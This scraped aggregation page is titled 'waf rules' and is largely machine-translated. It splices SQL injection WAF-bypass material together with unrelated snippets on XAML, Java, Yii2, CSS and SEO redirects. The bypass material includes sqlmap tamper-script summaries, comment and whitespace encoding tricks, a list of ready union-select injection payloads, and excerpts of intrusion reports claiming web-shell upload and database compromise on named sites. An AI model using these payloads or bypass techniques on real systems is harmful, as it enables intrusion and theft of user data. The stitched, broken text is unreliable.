waf rules

Common URL encodings include UTF (% xx) and hexadecimal encoding (% xx). Most IDS and WAF can be identified and decoded before regular matching. However, in addition to the two types of encoding, the IIS web server also supports another non-standard encoding, namely, % u Encoding (% uxxxx ). For more information, see the original document. I have to say that some technologies will not be old. The key is that you do not care. That is to say, the reques

Tags: single quotes english reading Google Kung fuSqlmap's Tamper directory has 41 scripts to bypass the WAF, and the online an article briefly describes how to use them, but it simply says a few of them. I use the documentation comments of these 41 scripts to simply mark each of their functions, or as before, Google Translate and then manually polished. In fact, there are examples of document comments, look at a glance will probably know the effect,

"--" followed by a random string and a newline character to replace the whitespace space2hash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2morehash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2mssqlblank.py replacing whitespace with random whitespace characters from a valid set of alternate character sets space2mssqlhash.py with the pound notation "#" follo

In this article, I will share with you several WAF bypass skills. For some tips that everyone knows, such :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. Mysql: Tips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql>select`version`() ->; +----------------------+ |`version`()| +----------------------+ |5.1.50-community-log| +-------------------

I have studied waf at home and abroad. Share some amazing tricks. Some skills that everyone knows are as follows :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. MysqlTips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql> select`version`() -> ; +----------------------+ | `version`() | +----------------------+ | 5.1.50-community-log | +-------------

Download the System.Windows.Interactivity.dll file and introduce it into the project (as you can see in the reference list of the VS project).Using the DLL in XAMLXmlns:i= "Clr-namespace:system.windows.interactivity;assembly=system.windows.interactivity"get focus, lose focus event for TextBox control -TextBoxText= "Test"> i:interaction. Triggers> I:eventtriggerEventName= "LostFocus"> i:invokecommandactionCommand="{Binding Relativesource={relativesource ancestortype=window},p

Web Code saw http://sourceforge.net/projects/sqlxsswaf? Source = directory Start read! I. Main Functions The process is clear, 1. the main function of WAF is an endless loop. In the while (1) code segment, after the code completes processing the current log Content, it sleeps for 10 ms and continues to process new content from get_pos. 2. When the second while processing log finds the log Content starting with get or post, it checks the commands sent

/addslashes feature —————————————————————————— –equaltolike.pylike instead of equals example:* input:select * from Users where Id=1* Output:select * from the users where id like 1Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5 —————————————————————————-keyword before comment halfversionedmorekeywords.pyexample:* input:value ' UNION all SELECT CONCAT (CHAR (58,107,112,113,58), Ifnull (CAST (Current_User () as Char), char (+)), char (58,97,110,121,58)), NULL, null# and ' qdwa ' =

China Telecom Jiangxi main site can be accessed by getshell over waf Verify getshell Address: http ://**. **. **. **/res/active/4G/upload. jsp (login required) Upload Vulnerability is also installed with security software, so I killed all my horsesHowever, this is not the focus.Upload pony first POST http://**.**.**.**/AttachmentServlet?backUrl=/service/upload/img_upload.jsp HTTP/1.1Host: **.**.**.**Connection: keep-aliveContent-Length: 1912Cache-Cont

Original address: http://bbs.10hst.com/viewthread.php? Tid = 39 extra = page % 3D1====== Bypass the anti-injection system, including the test code of WAF ======Solution 1: Replace the space in the test code with/**/or + (Note:/**/and + do not perform url encoding)? To copy the Code as it is, double-click the code and right-click the code to copy it. 010203 For example, id = 1 or 1 = 1Id = 1/**/or/**/1 = 1Id = 1 + or + 1 = 1

SQL Injection for DBA permissions on the WAF web game main site (only two databases of the current database are viewed, with more than 2 million user information) Web game master site DBA permission SQL injection (tens of millions of user information, recharge records, novice card leakage) (involving well-known games such as the wild, storm, and Master) Web Game Web site: http://www.wa3.com/It says: Wow web games, the most distinctive web game platfor

Tips:Injection point used: Support Union can error support multi-line execution, executable system command, HTTP request, and other advantages other than the above type, you may need a brute force guess. When you are guessing, you may encounter some limitations. All the attackers have to do is break them up. 1. Binary is typically used to find a single character by bypassing the greatest function, which cannot be used to guess the size of a symbol. Mysql> Select ASCII (Mid (User (),) SQL Injecti

0x01 backgroundOracle is similar to MySQL features, semi-automated fuzz, recording results.0x02 Test Position One: The position between the parameter and the Union1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/3) Other characters%2e. Point numberPosition two: The position between union and select1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/Position three

%0a1,2,3/*uyg.php?id=1/**/union%a0select/**/1,pass,3 ' A ' from ' users 'Uyg.php?id= (0) union (SELECT (TABLE_SCHEMA), TABLE_NAME, (0) from (information_schema.tables) have ((Table_schema) Like (0x74657374) (table_name)! = (0x7573657273))) #Uyg.php?id=union (select (version ()))--uyg.php?id=123/*! UNION ALL Select version () */--Uyg.php?id=123/*!or*/1=1;uyg.php?id=1+union+select+1,2,3/*uyg.php?id=1+union+select+1,2,3--uyg.php?id=1+union+select+1,2,3#uyg.php?id=1+union+select+1,2,3;%0 0Uyg.php?i

I. Class naming rules1. entity layer:Inheritance relationship: All classes are inherited from basicentity. Among them, basicentity implements the java. Io. serializable interface;Naming rules: class name = Object + class suffix, where class suffix is Bean, for example, salesorderbean2. form layer:Inheritance relationship: All classes are inherited from basicform. Because this project is based on the struts structure, baseform inherits from validatorfo

Yii2-verification rules, rules, judgment conditions, yii2-rules I will not elaborate on the validation rules of the yii2 model for simple use. You can see what you want to see.Official website tutorialHttp://www.yiichina.com/doc/guide/2.0/structure-models#validation-rulesCommunity netizen tutorialHttp://www.yiichina.co

In a K2 process system, any one of the execution nodes in the process (one node can contain multiple events) can contain client events, server-side events, and subprocesses (Ipc,inter process Communication) events, or other events. Typically, we need to include a lot of business logic in the process node, such as who is the performer of the process node. Which prerequisites must be satisfied before the performer initiates the process node task, and so on. A process node is a key element in a pro

At-rules different CSS rules for use in specific situations. Importing importThe @ rule references another style. For example, if you want to add another style to the current style, you can do this: @import url(addonstyles.css); This is much like using link elements to connect CSS to HTML, which essentially has a content style like the following: This is to take care of the old version of the browser, such

information changes over time, you can tell Checkstyle to ignore line 4th by setting the Ignorelines property to 4.Regular Expression Header (regular expression file header)Checks whether each row of the Java source file header matches the specified regular expression.Explanation: In some projects, it is not enough to check for a fixed head, for example, a file header may require a single line of copyright information, but the year information will change over time.For example, consider the fol

Web site with scale, business, the change of technology is unavoidable, but the website revision also has certain risk, especially the website link structure change is apt to be subjected to the search engine punishment, the light reduces the weight then is K, in order to minimize the risk, stationmaster generally through 301 permanent Redirect Technology carries on the new old link replacement , different search engines to 301 of the response speed is not the same, Google as the world's most ma